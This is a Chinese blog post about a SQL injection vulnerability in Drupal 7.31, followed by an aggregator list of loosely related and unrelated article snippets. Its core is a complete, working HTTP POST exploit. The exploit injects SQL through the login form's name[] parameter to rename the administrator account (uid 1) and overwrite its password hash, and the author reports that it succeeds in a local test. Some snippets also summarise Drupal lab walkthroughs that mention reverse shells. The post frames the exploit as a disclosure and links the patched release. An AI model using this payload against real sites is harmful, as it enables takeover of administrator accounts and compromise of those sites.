Drupal 7.31版本爆严重SQL注入漏洞

今早有国外安全研究人员在Twitter上曝出了Drupal 7.31版本的最新SQL注入漏洞，并给出了利用测试的EXP代码。

在本地搭建Drupal7.31的环境，经过测试，发现该利用代码可成功执行并在数据库中增加一个攻击者自定义的用户。

测试代码：（请勿用于非法用途）

POST /drupal-7.31/?q=node&destination=node HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/drupal-7.31/ Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 231 name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in

本地环境测试效果：

Drupal 7.31版本爆严重SQL注入漏洞_第1张图片

Drupal 7.31版本爆严重SQL注入漏洞_第2张图片

请相关厂商关注，并尽快修复漏洞。

新版下载：

https://www.drupal.org/drupal-7.32

你可能感兴趣的:(drupal)

  • 如何使用Docker部署Drupal并结合cpolar实现固定公网地址访问 江城开朗的豌豆 网络穿透网络知识docker容器运维
    文章目录前言1.Docker安装Drupal2.本地局域网访问3.Linux安装cpolar4.配置Drupal公网访问地址5.公网远程访问Drupal6.固定Drupal公网地址前言Dupal是一个强大的CMS，适用于各种不同的网站项目，从小型个人博客到大型企业级门户网站。它的学习曲线可能相对较陡，但一旦熟悉了它的工作方式，用户就能够充分利用其功能和灵活性。在本文中，我们将介绍如何使用Docke
  • （二）【Jmeter】专栏实战项目靶场drupal部署 WEL测试 JMeter接口测试实战指南jmeter自动化测试工具
    该专栏后续实战示例，都以该篇部署的项目展开操作。前置条件参考“（一）【Jmeter】JDK及Jmeter的安装部署及简单配置”安装部署Jmeter，从文章最后下载“Postman、Rancher.ova、VirtualBox-7.0.12-159484-Win.exe、Xshell-7.0.0144p.exe、Xftp-7.0.0144p.exe”VirtualBox安装首先，双击“Virtual
  • （五）【Jmeter】使用代理录制HTTP脚本操作步骤及注意事项 WEL测试 JMeter接口测试实战指南jmeter接口测试HTTP请求
    前置信息软件版本Jmeter5.6.3服务网址备注drupalhttp://192.168.88.88:18080/（二）【Jmeter】专栏实战项目靶场drupal部署用户名密码test1test1test2test2实操记录1、启动jmeter，操作顺序见下图2、在视图面板添加如下信息，点击开始
  • Drush初学者指南：Drupal Shell 张无忌打怪兽 服务器ssh
    关于DrushDrush是一个强大的shell接口，可以直接从云服务器命令行管理Drupal。它是一个非常有用的工具，可以帮助您使用终端中的一两个命令执行各种管理任务，取代了在UI中进行许多点击和页面刷新。本教程将介绍一些基本的Drush命令，并使用标准的Drupal安装来进行演示。它假设您已经在云服务器上安装了Drush，并且在其中有一个可用的Drupal副本。如果您不知道如何操作，请参考早期教
  • ubuntu下配置nginx实现反向代理服务 Anita-Sun Node.jsnodejs
    编辑/etc/nginx/sites-available/defaultvi/etc/nginx/sites-available/default将以下内容复制到default文件中修改你需要监听的端口号#Thisfilewillautomaticallyloadconfigurationfilesprovidedbyother#applications,suchasDrupalorWordpres
  • vulnhub--DC1 baiyexing8 数据库php安全
    一.信息收集扫存活主机arp-scan-l扫描靶场开放端口nnap-sS-v192.168.111.130查看80端口二.漏洞利用msf攻击拿到meterpreter以后查看当前目录，发现flag1.txt,cat得到flag1根据flag1的提示百度，得到Drupal的数据库配置文件在sites/default/settings.phpcatsetting.php得到flag2.txt三.提权接
  • composer中常提及到到PSR-4，什么是PSR呢 php转go
    什么是PSRPSR是PHPStandardRecommendations（PHP推荐标准）的简写，由PHPFIG组织制定的PHP规范，是PHP开发的实践标准。PHPFIG，FIG是FrameworkInteroperabilityGroup（框架可互用性小组）的缩写，由几位开源框架的开发者成立于2009年，从那开始也选取了很多其他成员进来（包括但不限于Laravel,Joomla,Drupal,C
  • 12.compose vs swarm 程序媛9688 java
    Dockercomposevs.DockerSwarn回顾一下dockercompose，同样可以一次性启动多个docker容器。但是二者的使用场景不同。dockercompose更适合与本地测试与开发，而不适合生产环境。使用dockercompose搭建一个网站Drupal+PostgreSQLhttps://hub.docker.com/_/drupal写成docker-compose.yml
  • 【笔记】Helm-4 最佳实践-1 一般惯例 许科大 Helm云原生kubernetesk8s
    一般惯例最佳实践的这部分阐述了一般惯例。Chart名称chart名称必须是小写字母和数字。单词之前可以使用横杠分隔（-）：示例：drupalnginx-legoaws-cluster-autoscalerchart名称中不能用大写字母也不能用下划线。点.符号也不行。版本号Helm尽可能使用SemVer2来表示版本号。（注意Docker镜像的tag不一定遵循SemVer，因此被认为是一个不幸的例外规
  • DC-7靶机做题记录 Fab1an CTF网络安全web安全http网络笔记
    靶机下载地址：链接：https://pan.baidu.com/s/1w2c_QKd_hOoR2AzNrdZjMg?pwd=tdky提取码：tdky参考：DC7靶机地址：http://www.five86.com/downloads/DC-7.zipDC7靶场介绍:https://www.vulnhub.com/entry/dc-7,356/php插件地址：https://ftp.drupal.o
  • 靶机-DC8 随风随梦自在逍遥 靶机网络安全
    查找靶机IPnetdiscover-r192.168.253.0/24端口扫描masscan192.168.253.140--ports0-65535--rate=10000nmap扫描nmap-T5-A-p-192.168.253.140目录扫描dirsearch-u192.168.253.140http://192.168.253.140/指纹Drupal7令人注意一些文档http://192
  • 如何使用Docker部署开源CMF Drupal并结合cpolar内网穿透远程访问 灰灰快醒醒 docker开源容器
    文章目录前言1.Docker安装Drupal2.本地局域网访问3.Linux安装cpolar4.配置Drupal公网访问地址5.公网远程访问Drupal6.固定Drupal公网地址前言Dupal是一个强大的CMS，适用于各种不同的网站项目，从小型个人博客到大型企业级门户网站。它的学习曲线可能相对较陡，但一旦熟悉了它的工作方式，用户就能够充分利用其功能和灵活性。在本文中，我们将介绍如何使用Docke
  • Markdown基础语法（上） 不务正业幽大人
    Markdown是一种轻量级标记语言，创始人为约翰·格鲁伯。Markdown是一种轻量级标记语言，排版语法简洁，让人们更多地关注内容本身而非排版。它使用易读易写的纯文本格式编写文档，可与HTML混编，可导出HTML、PDF以及本身的.md格式的文件。因简洁、高效、易读、易写，Markdown被大量使用，如Github、Wikipedia等网站，如各大博客平台：WordPress、Drupal、等。
  • typora编辑器使用教程 程序own java编辑器vimlinux
    typora编辑器使用教程最新一、简介Typora是一款由AbnerLee开发的轻量级Markdown编辑器，与其他Markdown编辑器不同的是，Typora没有采用源代码和预览双栏显示的方式，而是采用所见即所得的编辑方式，实现了即时预览的功能，但也可切换至源代码编辑模式markdown编辑器世界上最流行的博客平台WordPress和大型CMS如Joomla、Drupal都能很好的支持Markd
  • Vulnhub靶机：DC-8 z1挂东南
    标签：sql注入、DrupalCMS、反弹shell、exim提权0x00环境准备下载地址：https://www.vulnhub.com/entry/dc-8,367/flag数量：1攻击机：kali攻击机地址：192.168.1.31靶机描述：DC-8isanotherpurposelybuiltvulnerablelabwiththeintentofgainingexperienceinth
  • 开源内容管理框架Drupal在Docker本地部署并实现公网远程访问 檀越剑指大厂 s20cpolar开源docker容器
    欢迎来到我的博客，很高兴能够在这里和您见面！希望您在这里可以感受到一份轻松愉快的氛围，不仅可以获得有趣的内容和知识，也可以畅所欲言、分享您的想法和见解。推荐:kwan的首页,持续学习,不断总结,共同进步,活到老学到老导航檀越剑指大厂系列:全面总结java核心技术点,如集合,jvm,并发编程redis,kafka,Spring,微服务,Netty等常用开发工具系列:罗列常用的开发工具,如IDEA,M
  • 小H靶场笔记：DC-7 只惠摸鱼 靶场笔记笔记网络安全安全web安全
    DC-7January8,20244:11PMTags：Drupal8；DrushOwner：只惠摸鱼信息收集使用arp-scan和nmap扫描C段存活主机，探测到靶机ip：192.168.199.137，且开放80、22端口探测22、80开放端口的服务、版本、操作系统、基础漏洞sudonmap-sS-sV-O-sC192.168.199.137--script=vuln没有太多有用信息，只有一个
  • 小H靶场笔记：DC-8 只惠摸鱼 靶场笔记笔记网络安全安全web安全
    DC-8January9,20243:26PMTags：Drupal；exim提权Owner：只惠摸鱼信息收集apr-scan和nmap扫描C端存活主机，探测靶机ip：192.168.199.138，开放了80和22端口。扫描开放端口的服务、版本、系统、存在的基础漏洞。sudonmap-sS-sV-O-sC-p22,80192.168.199.138--script=vuln没有扫出什么漏洞，有一
  • 《VulnHub》DC：1 永别了，赛艾斯滴恩 安全
    title:《VulnHub》DC：1date:2024-01-0112:46:49updated:2024-01-0112:46:50categories:WriteUp：Cyber-Rangeexcerpt:主机发现、目标信息扫描、漏洞扫描、网站指纹信息识别、网站目录扫描、drupalCMS漏洞利用（CVE2014-3704）、Metasploit渗透、获取可交互式shell、进一步搜集信息、
  • 如何判断一个drupal站用的是哪个版本 文本魔术
    参见http://willy.boerland.com/myblog/fingerprinting_a_drupal_iste_what_version_is_that_site_running
  • 如何查看网站文件存放目录 文本魔术 server
    在drupal6里可以通过/admin/reports/status/php查看phpinfo信息，找到_SERVER["DOCUMENT_ROOT"]项，就能知道当前网站所在的物理目录了。
  • PHP代码审计之反序列化攻击链CVE-2019-6340漏洞研究 昵称还在想呢 PHP代码审计php开发语言web安全安全
    关键词php反序列化cmsDrupalCVE-2019-6340DrupalKernel前言简简单单介绍下php的反序列化漏洞php反序列化漏洞简单示例来看一段简单的php反序列化示例isValid){if(filter_var($this->ipAddress,FILTER_VALIDATE_IP)){$this->isValid=True;}}$this->ping();}publicfunc
  • Drupal 远程代码执行 CVE-2019-6340 已亲自复现 Bolgzhang drupal漏洞合集网络安全
    Drupal远程代码执行CVE-2019-6340已亲自复现漏洞名称漏洞描述影响版本漏洞复现环境搭建修复建议总结漏洞名称漏洞描述Drupal是一个开源且以PHP语言写成的内容管理框架(CMF)研究人员发现Drupal存在安全漏洞(CVE-2019-6340)，当攻击者以PATCH或POST方式传送RESTfulWeb资料时，Drupal并未对资料进行严格的检查，进而导致执行任意PHP程式码。影响版
  • PhpStorm 2020 JetBrains出品的高效智能PHP编程IDE 力挽狂澜小老鼠
    PhpStorm深刻理解您的代码。主流框架支持PhpStorm完美支持Symfony、Laravel、Drupal、WordPress、ZendFramework、Magento、Joomla!、CakePHP、Yii等各种主流框架。所有PHP工具编辑器会“获取”您的代码并深刻理解其结构，支持所有PHP语言功能，适用于现代项目和旧项目。它提供最优秀的代码补全、重构和实时错误预防等功能。涵盖前端开发
  • Drupal远程代码执行漏洞 longersking cve漏洞web安全
    Drupal远程代码执行漏洞引用Drupal远程代码执行漏洞(CVE-2018-7600)复现-FreeBuf网络安全行业门户漏洞介绍Drupal是使用PHP语言编写的开源内容管理框架（CMF），它由由内容管理系统和PHP开发框架共同构成，在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖，是基于PHP语言最著名的WEB应用程序。2018年3月28日，DrupalSecurityTea
  • php shell_exec安全,在php中运行shell_exec会导致Web服务器挂起 燕尾蝶田 phpshell_exec安全
    我正在运行下面的代码。它的功能是将文本文件拆分为以'_part'结尾的部分，然后调用带有标志的同一脚本来处理文件-将内容上传到Drupal系统。会发生什么是脚本运行并完成工作，所有被调用的脚本也完成了，我可以看到结果。但每次运行后，Web服务器都会停止响应。有什么基本的，我失踪或做错了？if(isset($argv[3])){$isSplit=$argv[3]=='true'?true:false
  • 为什么我们选择Vue，而不选React（译） 「已注销」 前端Angular.jsReact.jsVue.jsJavaScript前端框架
    最近Qwintry团队积极地把Vue.js作为了他们的前端框架，并且在所有的新旧项目中使用它，包括:过去qwintry.com的Drupal系统(qwintry.com)我们的新项目，完全重写了qwintry.com分支一个用Yii2构建的B2B系统（logistics.qwintry.com）我们所有的小项目和外部拓展项目（大部分是php和node作为后台的）世界上有大约被50W人使用Qwint
  • 常见的cms以及对应cms的历史漏洞 ZS_zsx 笔记笔记
    常见的cms以及对应cms的历史漏洞WordPressWordPress是一种流行的博客平台，也是全球最大的CMS系统之一。历史上出现过的漏洞包括SQL注入、文件包含漏洞、拒绝服务攻击、跨站脚本攻击等等。JoomeJoome是一种功能强大的内容管理系统，历史上出现过的漏洞包括文件上传漏洞、SQL注入、跨站脚本攻击等等。DrupalDrupal是一种开放源代码的内容管理系统，历史上出现过的漏洞包括S
  • 初学生信（从学习“markdown”记笔记开始） 释心sx
    Markdown基本语法1、MarkdownMarkdown是一种轻量级标记语言，排版语法简洁，让人们更多地关注内容本身而非排版。它使用易读易写的纯文本格式编写文档，可与HTML混编，可导出HTML、PDF以及本身的.md格式的文件。因简洁、高效、易读、易写，Markdown被大量使用，如Github、Wikipedia等网站，如各大博客平台：WordPress、Drupal、等。2、强调语法（粗
  • wsl2-Ubuntu20.04_selenium2环境搭建流程 荆山守门猿 PHPlinuxubuntuphp
    selenium2环境搭建流程一，系统环境操作系统：Ubuntu20.04LTSWSL2系统框架：Drupal8二，selenium介绍selenium主要用于web应用程序的自动化测试，还支持所有基于web的管理任务自动化。selenium经历了2个版本，selenium1.0和selenium2.0；selenium不是一个单独的工具，而是由一些插件、类库构成，每个组成部分都有其特点和应用场景
  • JVM StackMapTable 属性的作用及理解 lijingyao8206 jvm字节码Class文件StackMapTable
            在Java 6版本之后JVM引入了栈图(Stack Map Table)概念。为了提高验证过程的效率，在字节码规范中添加了Stack Map Table属性，以下简称栈图，其方法的code属性中存储了局部变量和操作数的类型验证以及字节码的偏移量。也就是一个method需要且仅对应一个Stack Map Table。在Java 7版
  • 回调函数调用方法 百合不是茶 java
    最近在看大神写的代码时,.发现其中使用了很多的回调 ,以前只是在学习的时候经常用到 ,现在写个笔记 记录一下   代码很简单:           MainDemo  :调用方法  得到方法的返回结果        
  • [时间机器]制造时间机器需要一些材料 comsci 制造
          根据我的计算和推测,要完全实现制造一台时间机器,需要某些我们这个世界不存在的物质     和材料...       甚至可以这样说,这种材料和物质,我们在反应堆中也无法获得......      
  • 开口埋怨不如闭口做事 邓集海 邓集海 做人 做事 工作
    “开口埋怨，不如闭口做事。”不是名人名言，而是一个普通父亲对儿子的训导。但是，因为这句训导，这位普通父亲却造就了一个名人儿子。这位普通父亲造就的名人儿子，叫张明正。 　　 　　张明正出身贫寒，读书时成绩差，常挨老师批评。高中毕业，张明正连普通大学的分数线都没上。高考成绩出来后，平时开口怨这怨那的张明正，不从自身找原因，而是不停地埋怨自己家庭条件不好、埋怨父母没有给他创造良好的学习环境。 　　 　　
  • jQuery插件开发全解析，类级别与对象级别开发 IT独行者 jquery开发插件　函数
    jQuery插件的开发包括两种： 一种是类级别的插件开发，即给 jQuery添加新的全局函数，相当于给 jQuery类本身添加方法。 jQuery的全局函数就是属于 jQuery命名空间的函数，另一种是对象级别的插件开发，即给 jQuery对象添加方法。下面就两种函数的开发做详细的说明。   1 、类级别的插件开发 类级别的插件开发最直接的理解就是给jQuer
  • Rome解析Rss 413277409 Rome解析Rss
    import java.net.URL;  import java.util.List;    import org.junit.Test;    import com.sun.syndication.feed.synd.SyndCategory;  import com.sun.syndication.feed.synd.S
  • RSA加密解密 无量 加密解密rsa
    RSA加密解密代码 代码有待整理 package com.tongbanjie.commons.util; import java.security.Key; import java.security.KeyFactory; import java.security.KeyPair; import java.security.KeyPairGenerat
  • linux 软件安装遇到的问题 aichenglong linux遇到的问题ftp
    1 ftp配置中遇到的问题    500 OOPS: cannot change directory   出现该问题的原因:是SELinux安装机制的问题.只要disable SELinux就可以了   修改方法:1 修改/etc/selinux/config 中SELINUX=disabled    2 source /etc
  • 面试心得 alafqq 面试
    最近面试了好几家公司。记录下； 支付宝，面试我的人胖胖的，看着人挺好的；博彦外包的职位，面试失败； 阿里金融，面试官人也挺和善，只不过我让他吐血了。。。 由于印象比较深，记录下； 1，自我介绍 2，说下八种基本类型；（算上string。楼主才答了3种，哈哈，string其实不是基本类型，是引用类型） 3，什么是包装类，包装类的优点； 4，平时看过什么书？NND，什么书都没看过。。照样
  • java的多态性探讨 百合不是茶 java
    java的多态性是指main方法在调用属性的时候类可以对这一属性做出反应的情况 //package 1; class A{ public void test(){ System.out.println("A"); } } class D extends A{ public void test(){ S
  • 网络编程基础篇之JavaScript-学习笔记 bijian1013 JavaScript
    1.documentWrite <html> <head> <script language="JavaScript"> document.write("这是电脑网络学校"); document.close(); </script> </h
  • 探索JUnit4扩展：深入Rule bijian1013 JUnitRule单元测试
            本文将进一步探究Rule的应用，展示如何使用Rule来替代@BeforeClass，@AfterClass，@Before和@After的功能。         在上一篇中提到，可以使用Rule替代现有的大部分Runner扩展，而且也不提倡对Runner中的withBefores()，withAfte
  • [CSS]CSS浮动十五条规则 bit1129 css
    这些浮动规则，主要是参考CSS权威指南关于浮动规则的总结，然后添加一些简单的例子以验证和理解这些规则。   1. 所有的页面元素都可以浮动 2. 一个元素浮动后，会成为块级元素，比如<span>,a, strong等都会变成块级元素 3.一个元素左浮动，会向最近的块级父元素的左上角移动，直到浮动元素的左外边界碰到块级父元素的左内边界；如果这个块级父元素已经有浮动元素停靠了
  • 【Kafka六】Kafka Producer和Consumer多Broker、多Partition场景 bit1129 partition
    0.Kafka服务器配置 3个broker 1个topic，6个partition，副本因子是2 2个consumer，每个consumer三个线程并发读取   1. Producer package kafka.examples.multibrokers.producers; import java.util.Properties; import java.util.
  • zabbix_agentd.conf配置文件详解 ronin47 zabbix 配置文件
    Aliaskey的别名，例如 Alias=ttlsa.userid:vfs.file.regexp[/etc/passwd,^ttlsa:.:([0-9]+),,,,\1]， 或者ttlsa的用户ID。你可以使用key：vfs.file.regexp[/etc/passwd,^ttlsa:.: ([0-9]+),,,,\1]，也可以使用ttlsa.userid。备注: 别名不能重复，但是可以有多个
  • java--19.用矩阵求Fibonacci数列的第N项 bylijinnan fibonacci
    参考了网上的思路，写了个Java版的： public class Fibonacci { final static int[] A={1,1,1,0}; public static void main(String[] args) { int n=7; for(int i=0;i<=n;i++){ int f=fibonac
  • Netty源码学习-LengthFieldBasedFrameDecoder bylijinnan javanetty
    先看看LengthFieldBasedFrameDecoder的官方API http://docs.jboss.org/netty/3.1/api/org/jboss/netty/handler/codec/frame/LengthFieldBasedFrameDecoder.html API举例说明了LengthFieldBasedFrameDecoder的解析机制，如下： 实
  • AES加密解密 chicony 加密解密
    AES加解密算法，使用Base64做转码以及辅助加密： package com.wintv.common; import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import sun.misc.BASE64Decod
  • 文件编码格式转换 ctrain 编码格式
    package com.test; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream;
  • mysql 在linux客户端插入数据中文乱码 daizj mysql中文乱码
    1、查看系统客户端，数据库，连接层的编码  查看方法： http://daizj.iteye.com/blog/2174993 进入mysql，通过如下命令查看数据库编码方式： mysql>  show variables like 'character_set_%'; +--------------------------+------
  • 好代码是廉价的代码 dcj3sjt126com 程序员读书
      长久以来我一直主张：好代码是廉价的代码。 当我跟做开发的同事说出这话时，他们的第一反应是一种惊愕，然后是将近一个星期的嘲笑，把它当作一个笑话来讲。 当他们走近看我的表情、知道我是认真的时，才收敛一点。 当最初的惊愕消退后，他们会用一些这样的话来反驳： “好代码不廉价，好代码是采用经过数十年计算机科学研究和积累得出的最佳实践设计模式和方法论建立起来的精心制作的程序代码。” 我只
  • Android网络请求库——android-async-http dcj3sjt126com android
    在iOS开发中有大名鼎鼎的ASIHttpRequest库，用来处理网络请求操作，今天要介绍的是一个在Android上同样强大的网络请求库android-async-http，目前非常火的应用Instagram和Pinterest的Android版就是用的这个网络请求库。这个网络请求库是基于Apache HttpClient库之上的一个异步网络请求处理库，网络处理均基于Android的非UI线程，通
  • ORACLE 复习笔记之SQL语句的优化 eksliang SQL优化Oracle sql语句优化SQL语句的优化
    转载请出自出处：http://eksliang.iteye.com/blog/2097999   SQL语句的优化总结如下   sql语句的优化可以按照如下六个步骤进行： 合理使用索引 避免或者简化排序 消除对大表的扫描 避免复杂的通配符匹配 调整子查询的性能 EXISTS和IN运算符 下面我就按照上面这六个步骤分别进行总结：
  • 浅析：Android 嵌套滑动机制（NestedScrolling） gg163 android移动开发滑动机制嵌套
    谷歌在发布安卓 Lollipop版本之后，为了更好的用户体验，Google为Android的滑动机制提供了NestedScrolling特性 NestedScrolling的特性可以体现在哪里呢？<!--[if !supportLineBreakNewLine]--><!--[endif]--> 比如你使用了Toolbar，下面一个ScrollView，向上滚
  • 使用hovertree菜单作为后台导航 hvt JavaScriptjquery.nethovertreeasp.net
      hovertree是一个jquery菜单插件，官方网址：http://keleyi.com/jq/hovertree/ ，可以登录该网址体验效果。 0.1.3版本：http://keleyi.com/jq/hovertree/demo/demo.0.1.3.htm hovertree插件包含文件： http://keleyi.com/jq/hovertree/css
  • SVG 教程 （二）矩形 天梯梦 svg
    SVG <rect> SVG Shapes SVG有一些预定义的形状元素，可被开发者使用和操作： 矩形 <rect> 圆形 <circle> 椭圆 <ellipse> 线 <line> 折线 <polyline> 多边形 <polygon> 路径 <path>
  • 一个简单的队列 luyulong java数据结构队列
    public class MyQueue { private long[] arr; private int front; private int end; // 有效数据的大小 private int elements; public MyQueue() { arr = new long[10]; elements = 0; front
  • 基础数据结构和算法九：Binary Search Tree sunwinner Algorithm
      A binary search tree (BST) is a binary tree where each node has a Comparable key (and an associated value) and satisfies the restriction that the key in any node is larger than the keys in all
  • 项目出现的一些问题和体会 Steven-Walker DAOWebservlet
         第一篇博客不知道要写点什么，就先来点近阶段的感悟吧。     这几天学了servlet和数据库等知识，就参照老方的视频写了一个简单的增删改查的，完成了最简单的一些功能，使用了三层架构。 dao层完成的是对数据库具体的功能实现，service层调用了dao层的实现方法，具体对servlet提供支持。  &
  • 高手问答：Java老A带你全面提升Java单兵作战能力！ ITeye管理员 java
    本期特邀《Java特种兵》作者：谢宇，CSDN论坛ID: xieyuooo 针对JAVA问题给予大家解答，欢迎网友积极提问，与专家一起讨论! 作者简介： 淘宝网资深Java工程师，CSDN超人气博主，人称“胖哥”。 CSDN博客地址： http://blog.csdn.net/xieyuooo 作者在进入大学前是一个不折不扣的计算机白痴，曾经被人笑话过不懂鼠标是什么，
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他